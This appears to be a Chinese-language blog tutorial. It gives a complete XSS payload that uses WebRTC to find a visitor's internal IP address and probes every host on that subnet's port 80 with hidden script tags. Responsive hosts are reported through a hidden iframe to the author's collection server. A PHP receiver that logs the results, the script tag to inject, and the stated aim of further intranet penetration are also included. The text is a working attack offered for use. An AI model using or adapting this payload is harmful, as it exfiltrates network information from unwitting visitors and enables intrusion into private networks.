前提得浏览器支持webRTC,测试的时候google浏览器测试成功,火狐浏览器不支持webRTC,
再在xss平台直接复制如下js代码:
1 function form_ip(ip,port){ 2 var iframe = document.createElement("iframe"); //通过iframe将可访问的内网ip传给服务器。 3 iframe.setAttribute("src","http://192.168.155.2/rev.php?ip=" + ip + "&port=" + port);//这里是服务器的ip 4 iframe.setAttribute("style","display:none") 5 var TagName = document.getElementsByTagName("body")[0]; 6 TagName.appendChild(iframe); 7 } 8 function getIPs(callback){ 9 var ip_dups = {}; 10 var RTCPeerConnection = window.RTCPeerConnection 11 || window.mozRTCPeerConnection 12 || window.webkitRTCPeerConnection; 13 var mediaConstraints = { 14 optional: [{RtpDataChannels: true}] 15 }; 16 var servers = undefined; 17 if(window.webkitRTCPeerConnection) 18 servers = {iceServers: []}; 19 var pc = new RTCPeerConnection(servers, mediaConstraints); 20 pc.onicecandidate = function(ice){ 21 if(ice.candidate){ 22 var ip_regex = /([0-9]{1,3}(.[0-9]{1,3}){3})/ 23 var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; 24 if(ip_dups[ip_addr] === undefined) 25 callback(ip_addr); 26 ip_dups[ip_addr] = true; 27 } 28 }; 29 pc.createDataChannel(""); 30 pc.createOffer(function(result){ 31 pc.setLocalDescription(result, function(){}); 32 33 }, function(){}); 34 }//通过weprtc获取内网ip 35 getIPs(function(ip){ 36 ip = ip.split("."); 37 ip.pop(); 38 ip = ip.join("."); 39 for(var i = 1;i<=255;i++){ 40 var script = document.createElement("script"); 41 var ip_url = ip + "." + i + ":80"; 42 script.setAttribute("src","http://" + ip_url); 43 script.setAttribute("onload","form_ip('" + ip + "." + i + "','80')");//通过遍历,如果内网的ip有80端口服务,执行form_ip函数 44 var TagName = document.getElementsByTagName("body")[0]; 45 TagName.appendChild(script); 46 } 47 });
我们可以在有xss注入的地方插入:<script src="http://xss平台的地址"></script>
在谷歌浏览器看控制台信息,已经将内网ip发送给服务器了。
http://192.168.155.2这里是我服务器的ip.
服务器接受的代码是:
1 <?php 2 $ip=$_REQUEST['ip']; 3 $port=$_REQUEST['port']; 4 $myfile=fopen("ip.txt","a"); 5 fwrite($myfile,$ip.':'.$port.' '); 6 fclose($myfile); 7 ?>
下面是服务器接受到的ip:
接下来就是可以内网渗透了。